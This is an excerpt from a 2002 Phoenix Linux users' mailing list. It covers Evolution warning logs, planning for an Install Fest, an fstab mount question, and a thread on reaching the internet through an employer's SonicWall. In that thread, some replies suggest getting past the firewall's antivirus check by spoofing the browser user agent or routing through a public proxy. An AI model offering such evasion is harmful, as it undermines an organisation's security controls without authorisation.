Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > I have done the google search, but have come up empty handed. anyone > > > have any suggestions for a possible fix? > > > > > > BTW i am running evolution-1.0.3-4. > > > > > > slr > > > > > > > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 19:46:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 6 Jun 2002 12:46:51 -0700 Subject: The word is out! Message-ID: <1023392811.3cffbc2bae466@webmail.freedom2surf.net> The press release has been faxed and emailed. Only one I didn't contact is the Computer buyer Magazine and the Computer Corner s Show on KTAR. It was suggested that this is best done during the show on Saturday 10-11:45am. If you will be around to answer the phone, Bill, here is the link to submit the info. http://www.datadoctors.com/corner/radio_question.cfm Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 20:53:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Thu, 6 Jun 2002 13:53:28 -0700 Subject: flyer In-Reply-To: <200206060651.11750.dennisk@sahuaro.f2s.com> References: <02060605483917.00730@nova.wedge.org> <200206060651.11750.dennisk@sahuaro.f2s.com> Message-ID: <200206061353.28284.voltage_spike@fastmail.fm> On Thursday 06 June 2002 06:51 am, Dennis Kibbe wrote: > A couple of comments on the flyer. > > I think of advertising in terms of how it would work as a billboard along > the freeway. While driving I've got about 3 seconds to take in the > message, if the ad doesn't present the key points in that length of time > it fails for me. I think it should be intriguing. Something along the lines of: Free Pizza and Soda // Big, bold font June 22nd, Scottsdale CC // Smaller, not quite as bold Bring your computer // Same as above line plug.mybutt.net // Same as above line On second thought, you might want to leave out that last line. :-) -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 21:16:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 06 Jun 2002 17:16:01 -0400 Subject: flyer Message-ID: Are you buying the pizza and soda? ;^) Alan On Thu, 6 Jun 2002 13:53:28 -0700 Logan Kennelly wrote: I think it should be intriguing. Something along the lines of: Free Pizza and Soda // Big, bold font June 22nd, Scottsdale CC // Smaller, not quite as bold Bring your computer // Same as above line plug.mybutt.net // Same as above line On second thought, you might want to leave out that last line. :-) -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 21:41:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Thu, 6 Jun 2002 14:41:30 -0700 Subject: flyer In-Reply-To: References: Message-ID: <200206061441.30106.voltage_spike@fastmail.fm> On Thursday 06 June 2002 02:16 pm, alandd@mindspring.com wrote: > Are you buying the pizza and soda? ;^) I could certainly help out with this. I just don't know what I am doing on June 22, yet. -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 21:43:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Thu, 6 Jun 2002 14:43:35 -0700 Subject: flyer Message-ID: <2AAC72149C827944B96C854ABD0BCAFF1A4DBF@azmscorp01.corp.azms> haha yeah I would probably leave out that last line... People might get scared or the wrong impression. Larry Lauer "Unix is user friendly...Its just picky about its friends." -----Original Message----- From: Logan Kennelly [mailto:voltage_spike@fastmail.fm] Sent: Thursday, June 06, 2002 1:53 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: flyer On Thursday 06 June 2002 06:51 am, Dennis Kibbe wrote: > A couple of comments on the flyer. > > I think of advertising in terms of how it would work as a billboard along > the freeway. While driving I've got about 3 seconds to take in the > message, if the ad doesn't present the key points in that length of time > it fails for me. I think it should be intriguing. Something along the lines of: Free Pizza and Soda // Big, bold font June 22nd, Scottsdale CC // Smaller, not quite as bold Bring your computer // Same as above line plug.mybutt.net // Same as above line On second thought, you might want to leave out that last line. :-) -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 22:04:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Wyant) Date: Thu, 6 Jun 2002 15:04:32 -0700 Subject: The word is out! In-Reply-To: <1023392811.3cffbc2bae466@webmail.freedom2surf.net> Message-ID: Just a small correction: The correct address to submit something like a press release to the Computer Corner Radio Show is http://www.datadoctors.com/corner/radio_suggestion.cfm I'm the webmaster for datadoctors.com and also an employee. I would suggest not calling the show with this information as the show is not geared towards a Linux user. Our chief demographic are 45+ year old males perfectly happy running whatever version of Windows to email, word process, and surf the web. I just talked to Ken Colburn, one of the co-hosts of the Computer Corner and a part-owner of Data Doctors Corporate. He expressed definite interest in supporting the Linux and Open Source community, but was very sure that the Computer Corner audience was not the correct platform. He did however ask me to forward on a bit of information, (I apologize for the lack of details, but NDAs apply), we have a new project coming up in a month or so that would be a much better platform for this organization, and that we would be happy to provide as a service to you. I will try my best to be an effective liaison and arbiter in this and future opportunities, as myself, Mr. Colburn, and Data Doctors are very interested and happy to provide any help we can in this arena. "University politics are vicious precisely because the stakes are so small." -- Henry Kissinger matt wyant | friend, gentleman, scholar zanfar@nospam.zanfar.com -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of dennisk@sahuaro.f2s.com Sent: Thursday, June 06, 2002 12:47 PM To: PLUG Mailing List Cc: wlindley@wlindley.com Subject: The word is out! The press release has been faxed and emailed. Only one I didn't contact is the Computer buyer Magazine and the Computer Corner s Show on KTAR. It was suggested that this is best done during the show on Saturday 10-11:45am. If you will be around to answer the phone, Bill, here is the link to submit the info. http://www.datadoctors.com/corner/radio_question.cfm Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 22:29:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Thu, 6 Jun 2002 15:29:00 -0700 Subject: Install Fest Web Site Message-ID: <0206061529001E.00730@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I have done the following: Added Matt's mp3 promo on the main page Put the final version of the press release on the main page Added a maps page Changed all the navigation bars to be able to access the maps page fixed a missing space after the copyleft symbol at the botton of all pages Any other screw-ups that you eagle-eyes can find? - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPP/iLSsk3ywszI1FEQJwZACglurPvjlsCB5FMrikImY/nW92cHUAn11D cKnc5LUpxWJeOBN+uxsQBD2g =4YGX -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 22:52:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 06 Jun 2002 18:52:28 -0400 Subject: The word is out! Message-ID: The demographic you describe is EXACTLY the demographic we want to reach for this event. An Install Fest is mostly for people who aren't Linux users but want to try it and maybe become a Linux user. Granted, the usual meetings are more targeted toward Linux users but the Install Fest is there to help new users get started. This other project that mention sounds interesting, what little you can say right now. I will watch with great interest. Alan On Thu, 6 Jun 2002 15:04:32 -0700 Matt Wyant wrote: Just a small correction: The correct address to submit something like a press release to the Computer Corner Radio Show is http://www.datadoctors.com/corner/radio_suggestion.cfm I'm the webmaster for datadoctors.com and also an employee. I would suggest not calling the show with this information as the show is not geared towards a Linux user. Our chief demographic are 45+ year old males perfectly happy running whatever version of Windows to email, word process, and surf the web. I just talked to Ken Colburn, one of the co-hosts of the Computer Corner and a part-owner of Data Doctors Corporate. He expressed definite interest in supporting the Linux and Open Source community, but was very sure that the Computer Corner audience was not the correct platform. He did however ask me to forward on a bit of information, (I apologize for the lack of details, but NDAs apply), we have a new project coming up in a month or so that would be a much better platform for this organization, and that we would be happy to provide as a service to you. I will try my best to be an effective liaison and arbiter in this and future opportunities, as myself, Mr. Colburn, and Data Doctors are very interested and happy to provide any help we can in this arena. "University politics are vicious precisely because the stakes are so small." -- Henry Kissinger matt wyant | friend, gentleman, scholar zanfar@nospam.zanfar.com -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of dennisk@sahuaro.f2s.com Sent: Thursday, June 06, 2002 12:47 PM To: PLUG Mailing List Cc: wlindley@wlindley.com Subject: The word is out! The press release has been faxed and emailed. Only one I didn't contact is the Computer buyer Magazine and the Computer Corner s Show on KTAR. It was suggested that this is best done during the show on Saturday 10-11:45am. If you will be around to answer the phone, Bill, here is the link to submit the info. http://www.datadoctors.com/corner/radio_question.cfm Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 22:53:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Charlie Bullen) Date: Thu, 6 Jun 2002 15:53:26 -0700 Subject: sonicwall Message-ID: <001e01c20dac$f8e79de0$6400a8c0@amd1000> This is a multi-part message in MIME format. ------=_NextPart_000_001B_01C20D72.4BC83500 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi, I got my employer to let me bring my linux box to work to use but = there is a problem. They have a sonic wall and I can't get through it to = the net. If I can get it to work great, if not I can get no support from = the office. I have been using Konquerer and ran into a blank wall, no = net access. I tried Lynx and got a message that I needed to download and = install sonic wall anti virus, but I couldn't do that with Lynx.=20 They have sonicwall set to not allow internet access unless the client = is running sonicwall antivirus. All the other workstations are Win98 or XP using IE 5.5 or 6.0.=20 My idea is to install and try Opera withi tset to identify itself as IE. = I am running wine and have had good results running windows programs on = Linux but I wonder if sonic wall anti virus can run under linux (Suse = 7.3)=20 Any other suggestions or better yet solutions would be appreciated. This whole project is the result of 2 things, first I went to the Linux = to Windows conversion presentation last week, thanks Matt, and second I = have to use a windows XP home version box otherwise. Regards, Charlie =20 ------=_NextPart_000_001B_01C20D72.4BC83500 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi, I got my employer to let me bring = my linux box=20 to work to use but there is a problem. They have a sonic wall and I = can't get=20 through it to the net. If I can get it to work great, if not I can = get no=20 support from the office.  I have been using Konquerer and ran into = a blank=20 wall, no net access. I tried Lynx and got a message that I needed to = download=20 and install sonic wall anti virus, but I couldn't do that with Lynx.=20
 
They have sonicwall set to not allow = internet=20 access unless the client is running sonicwall antivirus.
 
All the other workstations are Win98 or = XP using IE=20 5.5 or 6.0.
 
My idea is to install and try = Opera withi tset=20 to identify itself as IE. I am running wine and have had good results = running=20 windows programs on Linux but I wonder if sonic wall anti virus can run = under=20 linux (Suse 7.3)
 
Any other suggestions or better yet = solutions would=20 be appreciated.
 
This whole project is the result of 2 = things, first=20 I went to the Linux to Windows conversion presentation last week, thanks = Matt,=20 and second I have to use a windows XP home version box = otherwise.
 
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------=_NextPart_000_001B_01C20D72.4BC83500-- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 23:39:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Thu, 6 Jun 2002 16:39:55 -0700 (PDT) Subject: sonicwall In-Reply-To: <001e01c20dac$f8e79de0$6400a8c0@amd1000> Message-ID: Yes, unfortunately, the SonicWall AV software is currently only available for Windows machines. Before a user is allowed Internet access, the SonicWall checks their machine to make sure it has the latest virus definitions before allowing them Internet access. In your case, running a non-Windows platform, you'll need to exclude your IP address from the virus requirements on the SonicWall. Ask whoever manages your SonicWall to exclude your system. You can also call SonicWall tech support for more info. ~M On Thu, 6 Jun 2002, Charlie Bullen wrote: > Hi, I got my employer to let me bring my linux box to work to use but there is a problem. They have a sonic wall and I can't get through it to the net. If I can get it to work great, if not I can get no support from the office. I have been using Konquerer and ran into a blank wall, no net access. I tried Lynx and got a message that I needed to download and install sonic wall anti virus, but I couldn't do that with Lynx. > > They have sonicwall set to not allow internet access unless the client is running sonicwall antivirus. > > All the other workstations are Win98 or XP using IE 5.5 or 6.0. > > My idea is to install and try Opera withi tset to identify itself as IE. I am running wine and have had good results running windows programs on Linux but I wonder if sonic wall anti virus can run under linux (Suse 7.3) > > Any other suggestions or better yet solutions would be appreciated. > > This whole project is the result of 2 things, first I went to the Linux to Windows conversion presentation last week, thanks Matt, and second I have to use a windows XP home version box otherwise. > > Regards, > > Charlie > > > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 23:51:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 6 Jun 2002 16:51:46 -0700 Subject: sonicwall In-Reply-To: <001e01c20dac$f8e79de0$6400a8c0@amd1000> References: <001e01c20dac$f8e79de0$6400a8c0@amd1000> Message-ID: <200206061651.46292.zen2now@qwest.net> thats great that they let you bring it in, but bad they wont let it out. :~( Sonicwall only supports the windows os's, thats it, which in my mind they are losing a great deal, but thats another issue. so, no the anti-virus will not run on any *nix* that i am aware of, except for maybe Lindows. and the chance of opera working in the way you would like, will more than likely fail because as far as i know it is not browser dependant. if the anti-vurus is present and announces itself to the sonicwall, then the sonicwall will permit access to the internet. but if it is not present, then you know what happens, access denied. you may try using a public proxy, but once again you do not have the sonicwall anti-virus installed, and the sonicwall will more than likely deny access. i guess you could try installing the anti-virus under wine, what do you have to lose. i would be interested to find out if it will install. if it does then maybe i could install their VPN client as well. good luck slr On Thursday 06 June 2002 03:53 pm, Charlie Bullen wrote: > Hi, I got my employer to let me bring my linux box to work to use but there > is a problem. They have a sonic wall and I can't get through it to the net. > If I can get it to work great, if not I can get no support from the office. > I have been using Konquerer and ran into a blank wall, no net access. I > tried Lynx and got a message that I needed to download and install sonic > wall anti virus, but I couldn't do that with Lynx. > > They have sonicwall set to not allow internet access unless the client is > running sonicwall antivirus. > > All the other workstations are Win98 or XP using IE 5.5 or 6.0. > > My idea is to install and try Opera withi tset to identify itself as IE. I > am running wine and have had good results running windows programs on Linux > but I wonder if sonic wall anti virus can run under linux (Suse 7.3) > > Any other suggestions or better yet solutions would be appreciated. > > This whole project is the result of 2 things, first I went to the Linux to > Windows conversion presentation last week, thanks Matt, and second I have > to use a windows XP home version box otherwise. > > Regards, > > Charlie From plug-discuss@lists.plug.phoenix.az.us Fri Jun 7 00:01:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 06 Jun 2002 17:01:14 -0700 Subject: sonicwall In-Reply-To: <001e01c20dac$f8e79de0$6400a8c0@amd1000> Message-ID: <200206070003.UAA17041@hostinworld6.com> Just a thought. Grab the HTTP headers from a WinBLOWS box and copy the user agent to your browser's. I suspect this software adds something to the user agent of the browser that SonicWall checks for and if you can have Lynx or Konq lie about having it, then all is good. Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net On 06 Jun 2002 15:53:26 -0700, Charlie Bullen wrote: > Hi, I got my employer to let me bring my linux box to work to use but there is a problem. They have a sonic wall and I can't get through it to the net. If I can get it to work great, if not I can get no support from the office. I have been using Konquerer and ran into a blank wall, no net access. I tried Lynx and got a message that I needed to download and install sonic wall anti virus, but I couldn't do that with Lynx. > > They have sonicwall set to not allow internet access unless the client is running sonicwall antivirus. > > All the other workstations are Win98 or XP using IE 5.5 or 6.0. > > My idea is to install and try Opera withi tset to identify itself as IE. I am running wine and have had good results running windows programs on Linux but I wonder if sonic wall anti virus can run under linux (Suse 7.3) > > Any other suggestions or better yet solutions would be appreciated. > > This whole project is the result of 2 things, first I went to the Linux to Windows conversion presentation last week, thanks Matt, and second I have to use a windows XP home version box otherwise. > > Regards, > > Charlie > > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 21:53:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Wyant) Date: Thu, 6 Jun 2002 14:53:05 -0700 Subject: The word is out! In-Reply-To: <1023392811.3cffbc2bae466@webmail.freedom2surf.net> Message-ID: Just a small correction: The correct address to submit something like a press release to the Computer Corner Radio Show is http://www.datadoctors.com/corner/radio_suggestion.cfm I'm the webmaster for datadoctors.com and also an employee. I would suggest not calling the show with this information as the show is not geared towards a Linux user. Our chief demographic are 45+ year old males perfectly happy running whatever version of Windows to email, word process, and surf the web. I just talked to Ken Colburn, one of the co-hosts of the Computer Corner and a part-owner of Data Doctors Corporate. He expressed definite interest in supporting the Linux and Open Source community, but was very sure that the Computer Corner audience was not the correct platform. He did however ask me to forward on a bit of information, (I apologize for the lack of details, but NDAs apply), we have a new project coming up in a month or so that would be a much better platform for this organization, and that we would be happy to provide as a service to you. I will try my best to be an effective liaison and arbiter in this and future opportunities, as myself, Mr. Colburn, and Data Doctors are very interested and happy to provide any help we can in this arena. -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of dennisk@sahuaro.f2s.com Sent: Thursday, June 06, 2002 12:47 PM To: PLUG Mailing List Cc: wlindley@wlindley.com Subject: The word is out! The press release has been faxed and emailed. Only one I didn't contact is the Computer buyer Magazine and the Computer Corner s Show on KTAR. It was suggested that this is best done during the show on Saturday 10-11:45am. If you will be around to answer the phone, Bill, here is the link to submit the info. http://www.datadoctors.com/corner/radio_question.cfm Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 7 06:42:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 6 Jun 2002 23:42:23 -0700 Subject: fstab help Message-ID: <200206062342.26108.lists@chevy-lemonade.com> I'm trying to connect to a shared drive on an NT server named mutt on my internal network from my RH7.3 box. I have the following line in etc/fstab //mutt/d /mnt/mutt_d smbfs guid=,uid=,userid=,password= 0 When I try to mount the drive I get an error that says teh special device //mutt/d does not exist. I know the two can see eachother as I can print to the printer that is on mutt. Any help will be much appreciated. -- Don't trust the "Bow Tie" From plug-discuss@lists.plug.phoenix.az.us Fri Jun 7 08:45:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: 